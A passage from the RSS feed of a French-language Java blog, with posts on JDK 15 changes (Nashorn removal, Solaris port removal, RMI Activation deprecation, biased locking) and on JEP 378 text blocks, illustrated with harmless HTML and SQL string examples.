&lt;p&gt;Dans un &lt;a href=&quot;/2019/10/jep358-helpful-NullPointerExceptions.html&quot;&gt;autre billet&lt;/a&gt;, je vous avais parlé de cette fonctionnalité introduite dans le JDK14. Une option a été aussi ajoutée pour activer ou non la fonction le -XX:{+|-}ShowCodeDetailsInExceptionMessages&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cependant, la fonctionnalité était désactivée par défaut. Il fallait obligatoirement utiliser l&amp;#8217;option correspondante.
Maintenant, ce n&amp;#8217;est plus la peine pour en profiter, elle est activée par défaut.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Néanmoins, il reste possible de la désactiver si nous le souhaitons.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Exemple de message d&amp;#8217;information :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Cannot read field &quot;c&quot; because &quot;a.b&quot; is null&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;fonctionnalités_supprimées_et_dépréciées&quot;&gt;Fonctionnalités supprimées et dépréciées&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;372_remove_the_nashorn_javascript_engine&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/372&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;372 - Remove the Nashorn JavaScript Engine&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nashorn est un moteur javascript. Il a été introduit dans le JDK 8 en remplacement de l&amp;#8217;ancien Rhino.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Nashorn veut dire Rhinocéros en allemand. Petit clin d&amp;#8217;oeil de l&amp;#8217;équipe envers Rhino (Implémentation de Mozilla).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est une implémentation complète de &lt;a href=&quot;http://www.ecma-international.org/ecma-262/5.1/&quot;&gt;ECMAScript-262 5.1 standard&lt;/a&gt;. Pour le situer, cela correspond à une spécification de 2011.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Actuellement, nous sommes à la version 11, publiée en juin 2020.
Le moteur de javascript était vraiment en retard sur les dernières versions.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A ce stade, le projet considère que le maitien est trop difficile vis à vis des évolutions du langages ECMAScript.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De plus, une piste est d&amp;#8217;utiliser GraalVM qui permet d&amp;#8217;exécuter du code javascript. Pour en savoir plus, je vous conseille cet &lt;a href=&quot;https://medium.com/graalvm/nashorn-removal-graalvm-to-the-rescue-d4da3605b6cb&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;article de l&amp;#8217;équipe GraalVM (en)&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le moteur a été déprécié depuis JDK 11. Si votre programme l&amp;#8217;utilise, vous devriez avoir le message ci-dessous :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Warning: Nashorn engine is planned to be removed from a future JDK release&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si ce n&amp;#8217;est pas le cas, la suppression de Nashorn n&amp;#8217;aura pas d&amp;#8217;effet sur nos projets.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Il est à noter que durant la période du JDK 11, 12 et 13, aucun groupe de développeurs a exprimé clairement le désir de maintenir Nashorn.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;u&gt;Edition du 04/12&lt;/u&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Depuis le 27 novembre, Nashorn 15.0 est disponible de manière autonome sur &lt;a href=&quot;https://search.maven.org/artifact/org.openjdk.nashorn/nashorn-core/15.0/jar&quot;&gt;Maven Central&lt;/a&gt;. Voici le mail de l&amp;#8217;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/nashorn-dev/2020-November/007597.html&quot;&gt;annonce&lt;/a&gt; de la nouvelle équipe sur la liste de diffusion nashorn-dev  (Merci à &lt;a href=&quot;https://twitter.com/piradix_com&quot;&gt;@piradix&lt;/a&gt; pour l&amp;#8217;&lt;a href=&quot;https://twitter.com/piradix_com/status/1334853053015609344&quot;&gt;information&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;381_remove_the_solaris_and_sparc_ports&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/381&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;381 - Remove the Solaris and SPARC Ports&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le but est de supprimer le support de Solaris pour le JDK (sources spécifiques Solaris / SPARC).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela est la conséquence des parts de marchés de ce système d&amp;#8217;exploitation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est la suite logique de la &lt;a href=&quot;https://openjdk.java.net/jeps/362&quot;&gt;Dépréciation du support Solaris (JEP362)&lt;/a&gt; incluse dans le JDK 14.
Le principe était de laisser le temps à un ensemble de développeurs crédibles de se manifester pour le maintien de ce portage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Beaucoup de projet actif comme &lt;a href=&quot;https://wiki.openjdk.java.net/display/valhalla/Main&quot;&gt;Vahalla&lt;/a&gt; ou &lt;a href=&quot;https://wiki.openjdk.java.net/display/loom/Main&quot;&gt;Loom&lt;/a&gt; sont en cours de développement. Le fait de supprimer un portage sur ce système
permet de faciliter le travail et de profiter plus tôt des améliorations de ces projets.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Pour information, &lt;a href=&quot;https://fr.wikipedia.org/wiki/Solaris_(syst%C3%A8me_d%27exploitation)&quot;&gt;Solaris&lt;/a&gt; est un système créé par Sun en 1991 qui est dans le giron d&amp;#8217;Oracle depuis le rachat de Sun par ce dernier.&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;385_deprecate_rmi_activation_for_removal&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/385&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;385 - Deprecate RMI Activation for Removal&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le but est de déprécier le mécanisme d&amp;#8217;activation RMI afin de le supprimer plus tard.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est important de noter que RMI (Remote Method Invocation) reste supporté et ne change pas.
C&amp;#8217;est l&amp;#8217;activation RMI qui est concerné (c&amp;#8217;est à dire RMId). Cela consiste à la possibilité d&amp;#8217;avoir des objets distribués actif plus tard, en mode paresseux (&quot;lazy&quot;)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette JEP prend acte du contexte actuel où les services distribués sont basés actuellement sur des technologies web et non plus par des objets distribués. Ce changement permet de résoudre des problèmes liés aux réseaux (pare-feu, répartiteur de charge).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De ce fait cette fonctionnalité est devenue obsolète. Les multiples sondages ont montrés le peu d&amp;#8217;intérêt sur cette fonctionnalité.
Par exemple, la dernière question sur le forum JavaRanch date de 2003.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La maintenance du code associé entraîne forcément un coût à mettre en face de l&amp;#8217;intérêt pour la communauté. De plus, des tests complexes existent (client, serveur, service d&amp;#8217;activation) qui pénalisent l&amp;#8217;exécution globale des tests.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Le service d&amp;#8217;activation RMI est optionnel depuis Java 8.&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;374_disable_and_deprecate_biased_locking&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/374&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;374 - Disable and Deprecate Biased Locking&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En Java, il existe des verrous pour protéger les accès concurrents :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Les moniteurs (gérés avec le mot clé &lt;code&gt;&lt;em&gt;synchronized&lt;/em&gt;&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&lt;em&gt;java.util.concurrent.locks.Lock&lt;/em&gt;&lt;/code&gt; (seulement depuis JDK 1.5)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le verrouillage biaisé est une optimisation de la JVM pour gérer les moniteurs afin d&amp;#8217;éviter des sur-contrôles sur les blocs non contrôlés. Ainsi, le moniteur est supposé resté la propriété d&amp;#8217;un thread donné jusqu&amp;#8217;à ce qu&amp;#8217;un thread différent tente de l&amp;#8217;acquérir. De ce fait, les performances étaient meilleurs qu&amp;#8217;un système classique de verrou.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les gains de performance observés dans le passé sont moins significatif aujourd&amp;#8217;hui. Il est à noter aussi que cela est particulièrement lié aux structures de l&amp;#8217;époque (JDK 1.0). C&amp;#8217;est à dire, cela concerne des anciennes structures comme Hashtable ou Vector où chaque accès est synchronisé.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, actuellement, nous utilisons des collections non synchronisées HashMap et ArrayList (introduites dès le JDK 1.2) pour les scénarios mono-thread. Sinon, nous utilisons des structures concurrentes (introduites dans le JDK 5) pour les scénarios multi-threads.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De plus, les applications utilisant les pool de threads ont de meilleur performances sans cette optimisation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce verrouillage biaisé s&amp;#8217;accompagne aussi de beaucoup de code complexe dans le mécanisme de synchronisation. Cela fait un obstacle supplémentaire avec peu d&amp;#8217;intérêt actuellement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est pourquoi l&amp;#8217;équipe OpenJDK souhaite désactiver, abandonner et éventuellement supprimer la prise en charge de ce type de verrouillage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Il reste possible de réactiver ce comportement avec l&amp;#8217;option -XX:+UseBiasedLocking.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 378 Blocs de Textes (Text Blocks)</title>
      <link>https://www.lilian-benoit.fr/2020/09/Text_Blocks.html</link>
      <pubDate>mar., 1 sept. 2020 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2020/09/Text_Blocks.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel0&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#histoire&quot;&gt;Histoire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#mise_en_pratique&quot;&gt;Mise en pratique&lt;/a&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#les_bases&quot;&gt;Les bases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#cas_simples&quot;&gt;Cas simples&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#espace_blanc_accidentel&quot;&gt;Espace blanc accidentel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#emplacement_de_la_fermeture_est_importante&quot;&gt;Emplacement de la fermeture est importante.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#séquence_déchappements&quot;&gt;Séquence d&amp;#8217;échappements&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#nouvelles_séquences_déchappements&quot;&gt;Nouvelles séquences d&amp;#8217;échappements&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h1 id=&quot;contexte&quot; class=&quot;sect0&quot;&gt;Contexte&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est double :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Simplifier l&amp;#8217;écriture d&amp;#8217;un programme java ayant des chaines de caractères sur plusieurs lignes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Améliorer la lecture pour les langages non Java.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour illustrer le propos, voici un exemple de code Java avec la définition d&amp;#8217;une variable sur plusieurs lignes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;String html = &quot;&amp;lt;html&amp;gt;\n&quot; +
              &quot;    &amp;lt;body&amp;gt;\n&quot; +
              &quot;        &amp;lt;p&amp;gt;Hello, world&amp;lt;/p&amp;gt;\n&quot; +
              &quot;    &amp;lt;/body&amp;gt;\n&quot; +
              &quot;&amp;lt;/html&amp;gt;\n&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici un second exemple avec le langage SQL :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;String query = &quot;SELECT \&quot;EMP_ID\&quot;, \&quot;LAST_NAME\&quot; FROM \&quot;EMPLOYEE_TB\&quot;\n&quot;+
               &quot;WHERE \&quot;CITY\&quot; = &apos;INDIANAPOLIS&apos;\n&quot; +
               &quot;ORDER BY \&quot;EMP_ID\&quot;, \&quot;LAST_NAME\&quot;;\n&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h1 id=&quot;histoire&quot; class=&quot;sect0&quot;&gt;Histoire&lt;/h1&gt;
&lt;table class=&quot;tableblock frame-all grid-all stretch&quot;&gt;
&lt;caption class=&quot;title&quot;&gt;Table 1. Chronologie&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col style=&quot;width: 22.2222%;&quot;&gt;
&lt;col style=&quot;width: 22.2222%;&quot;&gt;
&lt;col style=&quot;width: 55.5556%;&quot;&gt;
&lt;/colgroup&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;tableblock halign-left valign-top&quot;&gt;Date&lt;/th&gt;
&lt;th class=&quot;tableblock halign-left valign-top&quot;&gt;JDK&lt;/th&gt;
&lt;th class=&quot;tableblock halign-left valign-top&quot;&gt;Nom / JEP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;tableblock halign-left valign-top&quot;&gt;&lt;p class=&quot;tableblock&quot;&gt;Mars 2019&lt;/p&gt;&lt;/td&gt;
&lt;td class=&quot;tableblock halign-left valign-top&quot;&gt;&lt;p class=&quot;tableblock&quot;&gt;JDK 12&lt;/p&gt;&lt;/td&gt;
&lt;td class=&quot;tableblock halign-left valign-top&quot;&gt;&lt;div class=&quot;content&quot;&gt;&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Raw Strings Literals (Preview) (JEP 326)&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;tableblock halign-left valign-top&quot;&gt;&lt;p class=&quot;tableblock&quot;&gt;Sept. 2019&lt;/p&gt;&lt;/td&gt;
&lt;td class=&quot;tableblock halign-left valign-top&quot;&gt;&lt;p class=&quot;tableblock&quot;&gt;JDK 13&lt;/p&gt;&lt;/td&gt;
&lt;td class=&quot;tableblock halign-left valign-top&quot;&gt;&lt;div class=&quot;content&quot;&gt;&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Text Blocks (Preview) (JEP 355)&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;tableblock halign-left valign-top&quot;&gt;&lt;p class=&quot;tableblock&quot;&gt;Mars 2020&lt;/p&gt;&lt;/td&gt;
&lt;td class=&quot;tableblock halign-left valign-top&quot;&gt;&lt;p class=&quot;tableblock&quot;&gt;JDK 14&lt;/p&gt;&lt;/td&gt;
&lt;td class=&quot;tableblock halign-left valign-top&quot;&gt;&lt;div class=&quot;content&quot;&gt;&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Text Blocks (Second Preview) (JEP 368)&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;tableblock halign-left valign-top&quot;&gt;&lt;p class=&quot;tableblock&quot;&gt;Sept. 2020&lt;/p&gt;&lt;/td&gt;
&lt;td class=&quot;tableblock halign-left valign-top&quot;&gt;&lt;p class=&quot;tableblock&quot;&gt;JDK 15&lt;/p&gt;&lt;/td&gt;
&lt;td class=&quot;tableblock halign-left valign-top&quot;&gt;&lt;div class=&quot;content&quot;&gt;&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Text Blocks (JEP 378)&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette fonctionnalité illustre parfaitement l&amp;#8217;intérêt du nouveau cycle de sortie du JDK (tous les 6 mois, en mars et en septembre) et les aperçus de fonctionnalités &quot;Preview features&quot; (&lt;a href=&quot;http://openjdk.java.net/jeps/12&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 12&lt;/a&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, la première proposition était &quot;Raw Strings Literals (Preview)&quot; (&lt;a href=&quot;http://openjdk.java.net/jeps/326&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 326&lt;/a&gt;) ciblée initialement pour le JDK 12 (Mars 2019).
Cependant, suite aux différents retours, la fonctionnalité a été retirée avant la finalisation de ce JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Un sondage a permit de déterminer qu&amp;#8217;il est préférable d&amp;#8217;utiliser trois caractères guillemet ( &quot; ) comme délimiteur et de prendre en compte les caractères d&amp;#8217;échappement (comme \n par exemple).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De ce fait, cette fonctionnalité a été revue dans une nouvelle JEP &quot;Text Blocks&quot; (&lt;a href=&quot;http://openjdk.java.net/jeps/355&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 355&lt;/a&gt;) dans le JDK 13 (Sept 2019), toujours en mode &quot;Preview&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par la suite, dans le JDK 14, une seconde JEP &quot;Second Preview&quot; (&lt;a href=&quot;http://openjdk.java.net/jeps/368&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 368&lt;/a&gt;) a été définie afin de consolider la nouvelle approche et d&amp;#8217;ajouter des nouvelles séquences d&amp;#8217;échappement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Enfin, les retours ont permit de savoir que la fonctionnalité était mature et qu&amp;#8217;elle pouvait être permanente. C&amp;#8217;est pourquoi la dernière JEP (&lt;a href=&quot;http://openjdk.java.net/jeps/378&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 378&lt;/a&gt;) a été incluse dans la version 15 du JDK sans changement (Hormis le retrait du mode &quot;Preview&quot;)&lt;/p&gt;
&lt;/div&gt;
&lt;h1 id=&quot;mise_en_pratique&quot; class=&quot;sect0&quot;&gt;Mise en pratique&lt;/h1&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;les_bases&quot;&gt;Les bases&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le délimiteur choisi fut trois caractères guillemet ( &quot;&quot;&quot; ). Concrêtement, ci-dessous, un exemple d&amp;#8217;utilisation :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;&quot;&quot;&quot;
line 1
line 2
line 3
&quot;&quot;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela correspond à&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;&quot;line 1\nline 2\nline 3\n&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;ou son équivalent&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;&quot;line 1\n&quot; +
&quot;line 2\n&quot; +
&quot;line 3\n&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons remarquer que les retours chariots sont pris en compte. De ce fait, le positionnement du caractère de fermeture n&amp;#8217;est pas anodin.
Par exemple, nous pouvons avoir le caractère de fermeture en fin de ligne, et non sur une nouvelle ligne.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;&quot;&quot;&quot;
line 1
line 2
line 3&quot;&quot;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par conséquent, il n&amp;#8217;y a pas le dernier retour chariot. Donc, cela devient l&amp;#8217;équivalent de&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;&quot;line 1\nline 2\nline 3&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;cas_simples&quot;&gt;Cas simples&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ci-dessous l&amp;#8217;exemple du code HTML&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String html = &quot;&amp;lt;html&amp;gt;\n&quot; +
              &quot;    &amp;lt;body&amp;gt;\n&quot; +
              &quot;        &amp;lt;p&amp;gt;Hello, world&amp;lt;/p&amp;gt;\n&quot; +
              &quot;    &amp;lt;/body&amp;gt;\n&quot; +
              &quot;&amp;lt;/html&amp;gt;\n&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String html = &quot;&quot;&quot;
              &amp;lt;html&amp;gt;
                  &amp;lt;body&amp;gt;
                      &amp;lt;p&amp;gt;Hello, world&amp;lt;/p&amp;gt;
                  &amp;lt;/body&amp;gt;
              &amp;lt;/html&amp;gt;
              &quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En reprenant l&amp;#8217;exemple avec le langage SQL, nous avons :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String query = &quot;SELECT \&quot;EMP_ID\&quot;, \&quot;LAST_NAME\&quot; FROM \&quot;EMPLOYEE_TB\&quot;\n&quot;+
               &quot;WHERE \&quot;CITY\&quot; = &apos;INDIANAPOLIS&apos;\n&quot; +
               &quot;ORDER BY \&quot;EMP_ID\&quot;, \&quot;LAST_NAME\&quot;;\n&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
